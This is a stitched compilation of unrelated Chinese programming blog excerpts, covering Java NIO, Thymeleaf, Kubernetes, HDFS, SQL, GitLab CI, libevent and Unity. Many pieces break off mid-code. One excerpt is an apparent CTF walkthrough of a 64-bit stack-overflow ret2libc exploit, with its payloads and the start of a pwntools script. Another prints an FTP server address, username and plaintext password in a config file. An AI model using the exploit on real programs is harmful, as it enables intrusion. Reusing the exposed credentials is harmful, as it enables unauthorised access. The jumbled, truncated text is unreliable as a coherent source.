不管是HeapByteBuffer还是DirectByteBuffer,他们操作字节的方法都是相同的,因为都是继承ByteBuffer类,大部分操作字节的方法都在这个父类中定义的。后续的例子中就用HeapByteBuffer类来做演示,先来大致分析一下HeapByteBuffer的工作原理,看一下他的取出一个字节的方法:
这个hb对象是在父类ByteBuffer中定义的:
好了,看到了,其实hb就是一个字节数组,所以说HeapByteBuffer是在JVM的堆内存中分配的,我们再看看DirectByteBuffer类的get方法:
这里直接使用Unsafe对象进行操作的,并没有使用hb字节数组。
二、ByteBuffer的四大类操作方法 上面分析了ByteBuffer有两个重要的子类来进行操作字节,他们两个各有优势也有很大的区别,然后分析了他们两个类在处理字节的基本原理。下面就借助HeapByteBuffer这个子类来介绍ByteBuffer中一些操作字节的方法,这里大致分为四类:
第一类:字节数组 "指针" 操作 因为Java中没有指针的概念,但是为了下面内容讲解方便,这里就引用了指针的名词。先来看一下图解:
这张图中我们可以看到在操作ByteBuffer的时候,有四个指针来进行操作:
capacity指针:这个指针是在调用allocate方法分配完内存之后直接指向字节数组的末尾,不会在发生改变的,除非再次调用allocate方法重新分配内存大小。
limit指针:这个指针在初始化分配内存的时候和capacity指针一样,指向数组的末尾,但是这个指针是会发生改变的,有一个limit方法可以设置他的值。同时像flip,clear等方法也会改变他的值。它更像是数组的一个有效数据的范围上限指针。limit<=capacity
position指针:这个指针是指向当前有效数据的起始位置,在初始化分配内存的时候指向数组的起始位置,后续可以通过position方法进行设置,同时他在很多地方都会发生改变,特别是在读写数据方法get,put的时候,每次读写一次,指针就加一,直到遇到了limit指针,position<=limit;所以可以看到整个数组中只有position-limit之间的数据是有效的,是可以进行读写操作的。
mark指针:这个指针在初始化的时候就是-1,起到一个数组指针不合法的哨兵作用,只要不调用mark方法,他的值一直是-1,最主要的是对position进行标记作用,有时候有一种需求就是想临时保存一下当前读写指针position的值,因为position随时都会发生改变,但是有时候还想再回来,那么mark指针就是这个作用,用来标记position的前一个状态,对应的方法是mark,还原方法是reset,这个指针只有在mark方法,clear,flip等方法会发生变化。mark<=position
通过上面的四个指针分析之后,发现有了mark和limit指针,我们不会担心数组越界的问题了,有了position指针我们能够很简单的操作数组数据,效率也高。
下面通过一个代码来验证这些方法的具体作用:
1、首先看一下打印ByteBuffer中四个指针的方法,这里ByteBuffer都提供了position,limit,capacity三个指针的访问方法,但是mark指针没有,所以这里需要用反射去操作,注意的是,我们allocate出来的是HeapByteBuffer对象,但是这四个指针都是定义在Buffer类中的,HeapByteBuffer->ByteBuffer->Buffer
下面来看一个这些方法的操作案例:
1、allocate方法
这里首先调用allocate方法分配10个大小的内存,然后从起始位置开始写入5个数据,再次调用flip方法准备读状态,然后在从起始位置读取四个数据,运行结果如下:
2、flip方法
这里看到了,在put完数据之后,position就变成了5了,所以需要调用flip方法来改变状态,才能正确的读到刚刚写入的数据,假设这里不调用flip方法:
看到了,读取出来的数据都是脏数据0,而且看到position变成了5+4=9了。所以在每次读写之后一定要记得改变状态,改变状态有flip,rewind,clear这三种方法,但是flip方法是最合理的。因为他把有效数据的末尾指针position赋值给了limit指针。
2015-2016 Northwestern European Regional Contest (NWERC 2015) F H没做
似乎只有 B 题有点意思
D:数论分块枚举所有上取整区间,只需要对于所有下取整的区间,取在右端点处的上取整的值即可。这些值是所有上取整区间的左端点。
B 题意:有 n 个区间,分成 p 组,每组的权值是所有区间交的长度,交不能是 0 。求权值和最大。保证有解。 \(n,p \le 200\)
key:思路,dp
对于每一组,限制区间交的长度的区间至多是 2 个(认为 {[1,3],[2,4],[2,3]} 只有 [2,3] 限制)。考虑一个分组方案,定义这种区间是好的,其他区间(即不限制它所在组的权值)是坏的。
显然为了使权值最大,每个区间都趋向于成为坏的。
限制该组权值的区间只有 1 个。此时其他区间一定都包含它。限制该组权值的区间有 2 个。取其中一个为 a,那么 a 一定不包含任何其它区间,因为如果它包含其它区间,那么它可以分配到它包含的某个区间所对应的组,成为一个坏的,此时会使答案更大。 所以对于一个包含其它区间的区间,它要么被分配到它包含的某个区间的组内(此时不影响答案),要么单独成为一组(成为第一类),所以可以按这个性质进行分类。
具体地说,先把给定的 n 个区间划分为两类:如果该区间不包含任何其它区间,分到 A 类。否则分到 B 类。
A 类中的区间没有包含关系,所以排序后的分组一定是一段段区间,这个可以 DP (甚至因为决策单调性可以做到 \(O(n^2)\))
B 类中的区间要么单独成组,要么不影响答案,所以只需要排序取长度前若干大即可。
#include<bits/stdc++.h> using namespace std; typedef long long LL; typedef long double LD; typedef pair<int,int> pii; typedef pair<LL,int> pli; const int SZ = 1e6 + 10; const int INF = 1e9 + 10; const int mod = 1e9 + 7; const LD eps = 1e-8; LL read() { LL n = 0; char a = getchar(); bool flag = 0; while(a > '9' || a < '0') { if(a == '-') flag = 1; a = getchar(); } while(a <= '9' && a >= '0') { n = n * 10 + a - '0',a = getchar(); } if(flag) n = -n; return n; } struct haha { int l,r; }a[SZ]; bool cmplen(haha a,haha b) { return a.
class Solution: def myAtoi(self, str: str) -> int: return max(min(int(*re.findall('^[\+\-]?\d+', str.lstrip())), 2**31 - 1), -2**31) max(min(a, b), c):设定上下限
*:解包:findall 函数返回所有找到的结果,用一个 list 表示,*是解包
^:匹配字符串开头
[+-]:代表一个+字符或-字符
?:前面一个字符可有可无
\d:一个数字
+:前面一个字符的一个或多个
str.lstrip([chars]):去除字符串左侧一串 “chars” 元素
str.strip([chars]):去除字符串中所有 “chars” 元素
回调与普通调用 方法的回调与普通的方法调用不同,普通方法调用一般需要程序员手动调用,而回调方法则是由系统、服务器或者别的程序调用程序员自己创建、实现接口/抽象类的方法、重写父类的方法,这种方法一般称为回调函数(钩子函数)。
一、普通的方法调用: public class A { void methrod() { } public static void main(String[] args) { A a = new A(); a.methrod();// 普通的方法调用 } } 二、方法回调:分为两种 1.一种是系统调用我们重写好的方法(这种方法通常我们不需要自己手动去调用),例如Servlet的init、doGet、service、doPost方法,Android中Activity的onCreate、onDestroy等方法。这些方法。系统/服务器会调用我们重写的父类/接口的方法,不需要程序员手动调用。这些方法通常由系统提供接口/抽象类/父类给程序员,由程序员自己去实现。这种回调在通用性质的框架中非常常见:对于一个具有通用性质的程序架构来说,程序架构完成整个应用的通用功能、流程。但是在某个特定节点上,需要一段业务相关的代码——通常的程序框架无法实现这段代码,那么程序架构会在这些节点上留下接口或者抽象方法供程序员进行重写。
2.A类调用B类中的b方法,在b方法和B类的方法后续方法执行过程中,又调用了A类的a方法,这个过程也被称为方法的回调,而a也被称为A类的回调方法。这种情况下的回调方法(也即b方法)既有可能是系统/服务器操作的,也有可能是程序员自己调用的。
为什么会有这种情况的回调,是因为A类需要别的类(如B类,为了方便表述,后续将用B类来代称其他类)去处理A的请求或者A所引发的事件,同时A需要在B执行完毕后,得到返回的结果或者程序执行完毕的通知。这个时候就需要B在自己的类内部有调用A的a方法去通知A任务执行完毕,或者将返回值返回给A。可能会有人问,那我为什么不可以在B类中构造一个方法,如b2,这个方法是属于B的,不属于A,由b2这个方法去完成向A类通知以及发送返回结果的功能呢?
我是这样理解的:如果非要这么做,b2则要将返回结果和通知发送给A类,如果A中没有方法去接收b2发送过来的通知或者结果(方法的return值),那么A就需要写一个a2方法去完成这一任务,或者给b2方法添加一个A a的形参,在b2方法体内获取到A类对象,然后操纵这个a对象获取b2方法的返回值/通知。这样一方面增加了代码的冗余;另一方面我们需要调用两个方法,一个b2,一个a2。并且通常情况下,A类需要拿到b2方法的结果/结束通知,配合自己类内部的一些局部变量/成员变量/方法返回值,进行进一步的方法执行,如果将返回结果/通知的方法分配给A(也就是将b2方法的功能移植到a中),在a方法中操纵和获取A类的局部变量/成员变量/方法返回值回比在b2方法中要轻松容易的多,并且还不容易打破封装特性(比如需要在返回结果/通知的方法中访问A类的一些私有方法或者私有属性,a方法显然比b2方法更安全,也更简洁)。
Thymeleaf简要介绍 1 Thymeleaf是什么2 模板模式3 方言:标准方言4. URL5.表达式基本对象6. Thymeleaf中的特殊字符转义 (th:utext与th:text)7. Thymeleaf迭代 (th:each)10. Thymeleaf表单11. Thymeleaf实战 1 Thymeleaf是什么 Thymeleaf是一种用于Web和独立环境的现代服务器端的Java模板引擎。
Thymeleaf的主要目标是将优雅的自然模板带到开发工作流程中,并将HTML在浏览器中正确显示,并且可以作为静态原型,让开发团队能更容易地协作。Thymeleaf能够处理HTML,XML,JavaScript,CSS甚至纯文本。
Thymeleaf使用Spring框架的模块,与许多常见的工具集成在一起,并且可以插入自己的功能,是现代HTML5 JVM Web开发的理想选择,尽管Thymeleaf还有更多其它的功能。
Thymeleaf建立在自然模板的概念之上,以不影响模板作为设计原型的方式将其逻辑注入到模板文件中。 这改善了设计沟通,弥合了前端设计和开发人员之间的理解偏差。
2 模板模式 开箱即用,Thymeleaf可以处理六种模板,每种模板都称为模板模式:
HTML
XML
TEXT
JAVASCRIPT
CSS
RAW
有两种标记模板模式(HTML和XML),三种文本模板模式(TEXT,JAVASCRIPT和CSS)和一种无操作模板模式(RAW)。
HTML模板模式将允许任何类型的HTML输入,包括HTML5,HTML4和XHTML。 将不会执行验证或格式检查,并且在输出中尽可能地遵守模板代码/结构。
XML模板模式将允许XML输入。 在这种情况下,代码应该是格式良好的 - 没有未封闭的标签,没有未加引号的属性等等,如果发现格式错误,解析器将会抛出异常。 请注意,将不会执行验证(针对DTD或XML模式)。
TEXT模板模式将允许对非标记性质的模板使用特殊语法。 这种模板的例子可能是文本电子邮件或模板文档。 请注意,HTML或XML模板也可以作为TEXT处理,在这种情况下,它们不会被解析为标记,而每个标记,DOCTYPE,注释等都将被视为纯文本。
JAVASCRIPT模板模式将允许处理Thymeleaf应用程序中的JavaScript文件。这意味着能够像在HTML文件中一样使用JavaScript文件中的模型数据,但是使用特定于JavaScript的集成(例如专门转义或自然脚本)。 JAVASCRIPT模板模式被认为是文本模式,因此使用与TEXT模板模式相同的特殊语法。
CSS模板模式将允许处理Thymeleaf应用程序中涉及的CSS文件。类似于JAVASCRIPT模式,CSS模板模式也是文本模式,并使用TEXT模板模式中的特殊处理语法。
RAW模板模式根本不会处理模板。它意味着用于将未触及的资源(文件,URL响应等)插入正在处理的模板中。例如,可以将HTML格式的外部非受控资源包含在应用程序模板中,从而安全地知道这些资源可能包含的任何Thymeleaf代码都不会被执行。
3 方言:标准方言 详情见此
4. URL 详情见此
5.表达式基本对象 基础对象
#ctx:上下文对象
#locale:直接访问java.util.Locale与当前请求关联的
#vars:org.thymeleaf.context.VariablesMap上下文中所有变量的实例(通常包含在#ctx.variables加本地变量中的变量)。
请求/会话属性的Web上下文命名空间等。
param:用于检索请求参数。 p a r a m . f o o 是 一 个 S t r i n g [ ] 带 有 f o o 请 求 参 数 值 的 , 因 此 {param.
功能 http://netaddr.readthedocs.io/en/latest/tutorial_03.html
将CIDR地址与IP范围相互转化
Convert CIDR to IP range or vice versa.
223.80.97.0/24 —>> 223.80.97.0-223.80.97.255
223.80.97.0-223.80.97.255 —>> 223.80.97.0/24
安装 pip install netaddr Demo 部分代码示例
from netaddr import * # CIDR -> IP Range test_set = IPSet(['223.80.97.0/28']) ip_list = [] for ip in test_set: ip_list.apped(ip) print ip_list[0], ip_list[-1] # IP Range -> CIDR iprange = IPRange('223.80.97.0', '223.80.97.15') iprange.cidrs() 转载于:https://www.cnblogs.com/17bdw/p/11345028.html
为了让上传这种类型的输入看起来更加美观,但是由于其自身往往无法定义样式,所以我们经常用按钮来 “替代” 它,接下来讲讲其原理和实践过程。
原理:为了让input[type='file']看起来更像一个button,我们首先先采用绝对定位定义一个<a>标签,然后采用绝对定位在相同的位置定义一个和<a>大小完全相同的<input type='file'>,并把其透明度设置为0,最后再定义一个div显示上传的文件名即可。
<!doctype html> <html> <head> <style> .blueButton{ /*蓝色按钮,绝对定位*/ position: absolute; display: block; width: 100px; height: 40px; background-color: #00b3ee; color: #fff; text-decoration: none; text-align: center; font:normal normal normal 16px/40px 'Microsoft YaHei'; cursor: pointer; border-radius: 4px; } .blueButton:hover { text-decoration: none; } .myFileUpload{ /*自定义上传,位置大小都和a完全一样,而且完全透明*/ position: absolute; display: block; width: 100px; height: 40px; opacity: 0; } .show{/*显示上传文件夹名的Div*/ position: absolute; top:40px; width: 100%; height: 30px; font:normal normal normal 14px/30px 'Microsoft YaHei'; } </style> <script src="
微信小程序接入腾讯云IM即时通讯(聊天窗口) 1.效果图:
2.功能点 :
1.布局要分左右两边布局,如果是自己为发送消息方,都在右边,对方发送的消息在左边。
2.腾讯云返回的是时间戳,需要转换一下时间,腾讯云是没有返回头像的,需要单独获取并且设置自己跟对方的头像。
3.发送的消息分为自定义消息跟普通文本消息,带房源图片 跟价格和小区名称的是自定义的消息,从房源详情进入聊天就自动发送,普通文本消息则在底部栏发送。
4.获取聊天的历史记录,下拉上翻历史记录,这里没有做本地缓存,是做了每次进入都拉取一次聊天的历史记录的操作。 WXML代码 <scroll-view class='chat' id="chat" style="height:{{height}}px;" scroll-y style='padding-bottom:49px;' > <block wx:for="{{myMessages}}" wx:key="{{index}}"> <view class='chat-time' wx:if="{{item.time != ''}}">{{item.msgTime}}</view> <view class="chat-item flex-wrap {{item.isSelfSend ? 'house' : ''}}" wx:if='{{item.type != ""}}' bindtap='linkDetail' data-id="{{item.id}}" data-type="{{item.type}}"> <view class='avatar'> <image style="width:40px;height:40px;border-radius:50%;" mode= "scaleToFill" src="{{item.avatar}}"></image> </view> <view class='content ' style="width:520rpx;"> <image class='img' style="width:100%;height:120px;" mode= "scaleToFill" src="{{item.img == '' ? houseDefault : item.img}}"></image> <view class='info'> <view class='info-name'>{{item.name}}</view> <view class='info-title'>{{item.msgContent}}</view> <view class='flex-wrap'> <view class='flex-item3'> <view class='info-price'>{{item.
在sonar-scanner分析go项目时,结果文件超过1M(nginx ingress controller 默认定义的上传大小),无法上传到sonarqube上,因此需要更改nginx配置中client_max_body_size的大小,具体修改ingress文件,如下
针对单个ingress
[root@master24 021-sonarqube]# cat sonarqube-ing.yaml
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: sonarqube
namespace: default
annotations:
ingress.kubernetes.io/proxy-body-size: "600M"
spec:
rules:
- host: tests.sonar.com
http:
paths:
- backend:
serviceName: sonarqube
servicePort: 9000
path: /
针对所有ingress
[root@master24 002-nginx-ingress-controller]# cat nginx-ingress-cm.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: nginx-custom-configuration
namespace: kube-system
labels:
k8s-app: nginx-ingress-controller
data:
proxy-body-size: "50m"
2、
k8s集群中,将图片或是文件上传到文件服务器上,
可是大于1M是就会报错
413 Request Entity Too Large
一、在web的nginx.conf中添加 client_body_buffer_size 50m;
二、修改各个服务中 Vim ingress.
实测可用
https://www.jianshu.com/p/ab2dae1f1bd6?from=timeline&isappinstalled=0
今天调试代码遇到一个小问题,代码如下:
def worker(msg): t_start = time.time() print("%s start process, this id is: %d" % (msg, os.getpgid())) time.sleep(random.random() * 2) t_stop = time.time() print(msg, "finish, this time is %d0,2f" % (t_stop - t_start)) 本意是查看系统的pid进程os.getpid(),不小心写成了os.getpgid(),报错“AttributeError: module 'os' has no attribute 'getpgid'”。
找了好一会没看出原因,最后翻看函数表才发现问题,为自己的粗心留个贴。时刻告诫自己小心谨慎。
os.getpgid(pid)
返回进程ID为pid的进程的组ID,如果pid=0,则返回当前调用进程的进程组ID
os.getpid()
返回当前进程的进程ID
os.getppid()
返回当前进程的父进程的ID
os.getsid(pid)
返回进程ID为pid的进程所在的会话的会话ID
一句话总结:将访问者的公钥添加到被访问者的authorized_keys中。
1.在applicationContext-dao.xml中配置数据源时提示:"cannot resolve property key"
解决:
在Facets中移除spring,重新添加一次,将xml引入
2. maven 下载的依赖库Dependencies 出现红线,找不到有些库
在C:\Users\admin\.m2\repository 找到对应库,删除了,重新下载reimport一次库;这个是因为下载库时有些没下载完,网络出错,下次就再也不下载了。
3.setting-> plugins 目录找不到其它库。
解决方法:Appearance -> system setting 去掉勾
一,FTP文件服务器
FTP 服务器就是支持 FTP 协议的服务器。我们可以在电脑中安装FTP工具负责将电脑中的数据传输到服务器当中,这是服务器就称为FTP服务器,而我们的电脑称为客户端。对于FTP服务器,用户可通过FTP软件和服务器建立连接,进行文件上传、删除、修改权限等操作。FTP 服务器一般分为两类:Windows FTP服务器和 Linux FTP 服务器。
二,SpringBoot 集成 FTP文件服务器
1.maven依赖
<!--ftp文件上传--> <dependency> <groupId>commons-net</groupId> <artifactId>commons-net</artifactId> <version>3.3</version> </dependency> 2.application.properties 配置文件 配置
#ftp use ftp.server=39.97.98.252 ftp.port=65501 ftp.userName=hopsonftp ftp.userPassword=hopsonSGgs12344321 ftp.bastPath=/hopson ftp.imageBaseUrl=http://39.97.98.252:11018/hopson/image/ ftp.removeUrl=/hopson/image 3.创建 FTP文件服务器 工具类(使用时先在使用的地方注入==> @Autowired ==> private FtpUtil ftpUtil;)
/** * @program: hopson * @Date: 2019/8/4 11:23 * @Author: wangmx * * @Description: */ @Component public class FtpUtil { Logger logger = LoggerFactory.getLogger(getClass()); private String LOCAL_CHARSET = "GBK"; //ftp服务器地址 @Value("
目录
一、查询规则
二、总结
三、百万条数据SQL测试
一、查询规则 count(*):获取表的行数
count(1):所有行进行统计,包括NULL行
count(id):count(*)查询的是总条数,count(id)查询的是id非null的条数,带索引。
count(不带索引字段):获取某一字段值不为null的数据条数,就是说当某一条或者多条记录的那个字段为null的时候,这时并不会算进总条数中。
二、总结 300万条数据做的测试~
count(可空字段) ≈ count(不带索引) < count(主键 id-带索引的) < count(1) ≈ count(*)
查询行的>查询带索引的字段>不带索引的字段
1)count(*)与count(1):
都是扫描全表,但不取值,包括了所有的列,相当于行数,在统计结果的时候,不会忽略NULL。count(1)包括了忽略所有列,用1代表代码行。
执行结果几乎是是一样的。
2)count(1)与count(字段):
count(1) 会统计表中的所有的记录数,包含字段为null 的记录。
count(字段) 会统计该字段在表中出现的次数,忽略字段为null 的情况。即不统计字段为null 的记录。
所以count(1) 更快
3)count(id)与count(非空字段):
索引有三种:唯一索引、主键索引和聚集索引,主键索引是唯一索引的特定类型。
该索引要求主键中的每个值都唯一。当在查询中使用主键索引时,它还允许对数据的快速访问。
三、百万条数据SQL测试 Navicat存储过程批量生成测试数据
SELECT count(*) FROM `city` SELECT count(0) FROM `city` SELECT count(1) FROM `city` SELECT count(id) FROM `city` SELECT count(name) FROM `city` SELECT count(state) FROM `city` sql结果耗时count(*)30120480.846scount(1)30120480.850scount(id)30120480.974scount(name)30120001.032scount(state)30120001.027s 有用请点赞,养成良好习惯!
疑问交流鼓励请留言!
在项目中使用了
webview_flutter: ^0.3.11+2 然而当关闭webview页面后 声音还会继续播放,所以一番谷歌后找到的一个方法是修改插件的源码。
1.在android studio里打开External Libraries>Flutter plugins>webview_flutter>android>src.main>java.io.flutter.plugins.webviewflutter>FlutterWebView.java
然后修改dispose方法为如下所示即可。 @Override public void dispose() { if(webView != null){ webView.clearCache(true); webView.removeAllViews(); webView.destroy(); } methodChannel.setMethodCallHandler(null); webView.dispose(); }
其他博文连接 Ubuntu Server 16.04LTS 搭建GitLab服务器ubuntu server 16.04 使用docker搭建jenkins和sonarqubeGitlab配置Gitlab-Runner实现简单的CI/CDGitlab CI集成sonarqube实现静态代码检查gitlab CI中单元测试与集成测试的研究与实践GitLab持续集成持续部署(CI&CD) 文章目录 其他博文连接 Gitlab配置Gitlab-Runner实现简单的CI/CD配置说明GitlabGitlab Runner 安装Gitlab-Runner注册Runner到Gitlab简单测试 Gitlab配置Gitlab-Runner实现简单的CI/CD 配置说明 Gitlab 系统:Ubuntu 16.04 Server内存:4GIP:192.168.23.100Dokcer Version : 18.09.0 Gitlab Runner 系统:Ubuntu 16.04 Server内存:4GIP:192.168.23.102Dokcer Version : 18.09.0 安装Gitlab-Runner 在Gitlab Runner的机器上执行命令 #在ubuntu server16.04版本下使用命令即可安装 $ sudo wget -O /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64 #接着授予可执行权限 $ sudo chmod +x /usr/local/bin/gitlab-runner #创建一个gitlab-ci用户 $ sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash #安装,并作为服务启动 $ sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner 注册Runner到Gitlab 这部分内容在另一篇博文《GitLab持续集成持续部署(CI&CD)》有提到过,不过之前是使用的shell执行器,这里改用docker执行器。使用docker执行器能够对环境进行很好的隔离,其中的具体区别,可参考官方文档
【题目描述】
有 N 个人排成一排,假设他们的身高均为正整数,请找出其中符合以下条件的人:排在他前面且比他高的人数与排在他后面且比他高的人数相等。
【输入】
第一行为一个正整数 N,1<N<1000,表示有多少个人。
下面 N 行,每行一个正整数,表示从前往后每个人的身高,假设每个人的身高≤10000。
【输出】
一行一个整数,表示满足这个条件的人数。
【输入样例】
4
1
2
1
3
【输出样例】
2
【样例说明】
第 3、第 4 个人满足条件。
代码
#include<cstdio> using namespace std; int i,j,k,s=0,t1,t2,n,a[1001]; int main() { scanf("%d",&n); for(i=1;i<=n;i++) scanf("%d",&a[i]); for(i=1;i<=n;i++) { t1=t2=0; for(j=1;j<i;j++) { if(a[j]>a[i]) t1++; } for(k=i+1;k<=n;k++) { if(a[k]>a[i]) t2++; } if(t1==t2) s++; } printf("%d",s); return 0; }
之前看libevent后写的一个简单问答服务器。
工作方式比较简单,一个主线程和多个工作线程,主线程只接受连接并通知工作线程接管工作,工作线程接管连接然后接收消息并返回。也可以换成进程的方式。
主线程与工作线程之间的通信是使用的socket对,采用libevent的事件。
//libevent server sample on linux /*socket*/ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> /**/ #include <iostream> #include <err.h> //err() #include <string.h> //memset() #include <fcntl.h> //fcntl() #include <pthread.h> // #include <cstdlib> //calloc() #include <unistd.h> //close() #include <sys/queue.h> //链表 #include <errno.h> //errno,ENTIR #include <stdio.h> /*libevent*/ #include <event.h> using namespace std; #define SERVER_PORT 55555 #define LISTEN_NUM 32 #define THREAD_NUM 4 #define BUF_LEN 1024 #define WRITE_BUF_LEN 1024*4 struct event_accepted{ int fd;//socket fd int thread_id; //记录所连客户端socket所属的工作线程编号 struct event* ev_read; struct event* ev_write; char* write_buf; int len; //write_buf的长度 int offset; //write_buf已写入后的偏移 }; struct socket_pair{ int connecter; int accepter; socket_pair(){ connecter =-1; accepter =-1; } }; /*工作线程结构*/ struct workthread_info{ int thread_id; //线程编号 pthread_mutex_t g_clock; //线程锁 volatile int count; //各个工作线程socket连接数 struct socket_pair socket_pairs; //通知工作线程注册事件的socket对 struct event socket_pair_event; //用于工作线程监听注册事件 struct event_base *base; //工作线程的event_base实例 // TAILQ_ENTRY(event_accepted) entries;//工作线程上注册的event的链表,用于回收event分配的内存 workthread_info(){ count = 0; } }; struct workthread_info work_info[THREAD_NUM]; pthread_t pthread_id[THREAD_NUM]; // int setnonblock(int fd); void on_accept(int fd, short ev, void *arg); void on_read(int fd, short ev, void *arg); void on_write(int fd, short ev, void *arg); void* work_thread(void* arg); int socketpair_init(); //初始化本地socket连接用于通知子线程注册事件 void socketpair_read(int fd, short ev, void *arg); //工作线程接收已连接的socket,并为socket注册读事件 void destroy(); int main(){ //初始化工作线程注册通知socket if(socketpair_init() <0){ err(1,"
1、以菜单为例
TreeToolUtils工具类
import com.google.common.collect.Lists; import com.google.common.collect.Maps; import com.main.entity.Menu; import java.util.*; /** * 树 */ public class TreeToolUtils { private List<Menu> rootList; //根节点对象存放到这里 private List<Menu> bodyList; //其他节点存放到这里,可以包含根节点 public TreeToolUtils() { } public TreeToolUtils(List<Menu> rootList, List<Menu> bodyList) { this.rootList = rootList; this.bodyList = bodyList; } // 删除ArrayList中重复元素,保持顺序 public static List removeDuplicateWithOrder(List list) { Set set = new HashSet(); List newList = new ArrayList(); for (Iterator iter = list.iterator(); iter.hasNext(); ) { Object element = iter.
目录
排序
1、key排序
2、value排序
map遍历
map中value统一自增或自减
HashMap、HashTable、TreeMap、LinkedHashMap的区别
获取map中的最值
最小KEY
最小VALUE
排序 参考:https://www.cnblogs.com/cchilei/p/13152615.html
1、key排序 /** * 使用 Map按key进行排序 * * @param unSortMap * @return */ public static Map<String, String> SortByKey(Map<String, String> unSortMap) { Map<String, String> result = unSortMap.entrySet().stream() .sorted(Map.Entry.comparingByKey()) .collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue, (oldValue, newValue) -> oldValue, LinkedHashMap::new)); return result; } 不限类型
// 2、根据key值倒序排序 public <K extends Comparable<? super K>, V > Map<K, V> sortByKey(Map<K, V> map) { Map<K, V> result = new LinkedHashMap<>(); map.
大数据:Hadoop文件操作HDFS常用命令(一) 1、创建目录。在HDFS中创建一个文件目录:
hadoop dfs -mkdir 2、查看文件结构目录:
hdfs dfs -ls -R / 例如,在HDFS中创建一个test_dir的文件目录,然后查看:
如果查看具体某一个文件目录下的文件层次,则为:
hadoop fs -ls /mydir mydir是开发者在HDFS中创建的文件夹目录。
3、上传单个文件。往test_dir上传一个文件,假设需要上传一个E:/hadoop/myfile/f1.txt的文件,到HDFS中的test_dir下面,则命令为:
hadoop fs -put E:/hadoop/myfile/f1.txt /test_dir 4、删除文件。如何删除文件呢?假设要删除刚才上传好的f1.txt文件,则为:
hadoop fs -rm -r -skipTrash /test_dir/f1.txt 如图:
5、删除文件夹。如果是删除整个文件夹目录,则是:
hadoop fs -rm -r -skipTrash /test_dir 如图:
6、上传整个目录文件夹。把计算机本地的一个文件夹目录全部上传到HDFS。假设本地有一个文件夹myfile,myfile下面有f1.txt,f2.txt,f3.txt。
命令:
hadoop dfs -put E:/hadoop/myfile / 如图:
7、重命名文件夹。假设现在需要把HDFS中的myfile文件夹名字改为mydir,则为:
hdfs dfs -mv /myfile /mydir 如图:
8、把HDFS中整个文件夹目录下的文件合并并下载到本地。假设把之前前面已经上传到HDFS中mydir下的所有文件合并成一个完整的文件下载到本地的E:/hadoop下,名字叫temp,则命令:
hdfs dfs -getmerge /mydir E:/hadoop/temp 如图:
本例中mydir下f1.txt , f2.txt , f3.txt里面仅仅只是文本字符。当把这些文件合并到一个temp文件中后,是把f1.txt , f2.txt , f3.
步骤1.打开网址 https://packagist.org/packages/caffeinated/modules
根据php 、 laravel 版本 查看对应的 caffeinated版本
2.配置composer.根据步骤1.配置 实际上我的配置是
"require": { "php": "^7.1.3", "fideloper/proxy": "^4.0", "laravel/framework": "5.6.*", "laravel/tinker": "^1.0", "caffeinated/modules": "4.3.*" }, 3.执行 composer update
4.更新完成后 在 app/config/app.php中 加入如下2行
4.1 providers 中加入
/***********多模块配置项*****************/ Caffeinated\Modules\ModulesServiceProvider::class, 4.2 aliases 中加入
/***********多模块配置*****************/ 'Module' => Caffeinated\Modules\Facades\Module::class, 5. 执行命令 php artisan vendor:publish 输入带有 Caffeinate 行前面 数字 回车即可 6.生成模块
比如我们想创建一个 Api 模块:php artisan make:module Api
执行命令 php artisan make:module Api 之后 按照如下提示输入即可
Please enter the name of the module: [Api]: > Api
普通的64位程序的puts利用,如
可以看到是很明显的栈溢出利用,同时并没有后门
基本的利用思路是栈溢出后利用puts函数打印出任何函数的地址
然后返回main函数再次进行利用
具体利用是
leak
先用ROPgadget寻找gadget:pop rdi ret
(用于控制puts的参数)
然后第一次的payload: payload=‘a’*0x20+‘b’*8+p64(prdi_ret)+p64(puts_GOT)+p64(puts_plt)+p
64(main)
利用 puts_plt 把 puts 函数的GOT表项打出来,然后回到main
第二次根据puts函数的地址和固定偏移计算出 libc 的加载地址,至于这些偏移 可以在脚本里面写symbols[‘puts’]也可以直接用gdb调试时 :p puts然后vmmap 查看基址,相减得到偏移
ret
得到基址之后使用one_gadget,满足限制条件即可,或者利用libc里面
的 /bin/sh 地址,调用 system 也行(个人推荐用one_gadget,方便很多)
第二次的payload: payload=‘a’*0x20+‘b’*8+p64(libc_base+one_gadget_offset)
exp如下
from pwn import * binary = './pwn1' #binary's name here context.binary = binary #context here context.log_level='debug' pty = process.PTY p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here ''' Host = Port = p = remote(Host,Port) ''' elf = ELF(binary) libc = elf.
文章目录 基础RNN_pytorch实现 LSTM(Long Short Term Memory networks)LSTM_pytorch实现 GRU(Gated Recurrent Unit) RNN的应用用RNN做图像分类mnistpytorch实现 RNN做时间序列(回归)pytorch实现 自然语言处理词嵌入pytorch实现 Skip-Gram模型N-Gram模型pytorch实现 LSTM做词性预测pytorch实现 基础 没有办法找到非常前面的信息,存在长时依赖问题。
RNN_pytorch实现 使用RnnCell
import torch from torch.autograd import Variable from torch import nn #定义一个单步的rnn rnn_single=nn.RNNCell(input_size=100,hidden_size=200) print(rnn_single.weight_hh) """ Parameter containing: 1.00000e-02 * 6.2260 -5.3805 3.5870 ... -2.2162 6.2760 1.6760 -5.1878 -4.6751 -5.5926 ... -1.8942 0.1589 1.0725 3.3236 -3.2726 5.5399 ... 3.3193 0.2117 1.1730 ... ⋱ ... 2.4032 -3.4415 5.1036 ... -2.2035 -0.1900 -6.4016 5.2031 -1.
需求:
进入音频录制状态,麦克风一直处于打开(录制状态); 只有当真实收到外部音源时(比如有人说话);才开始将这段音频作为真实录制的音频; 当没人说话2s,就截取这段音频作为有效音频发布出去。
(模仿实时流音频的发送)
1. 百度语音翻译和语音控制。
要求是一段音频流传上去进行处理,这个时候麦克风处于打开,不需要用户去点按钮录制;自动判定有效音频发送。
2.这里就需要用到 Microphone.GetPosition 来做判断
源码如下:
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using System.Linq;
using System.IO;
namespace nn
{
public class testdemo : MonoBehaviour
{
private enum AudioRecordResultState { start, stop }
[SerializeField] private int maxClipLength = 300;
[HideInInspector] public bool isRecording = false;
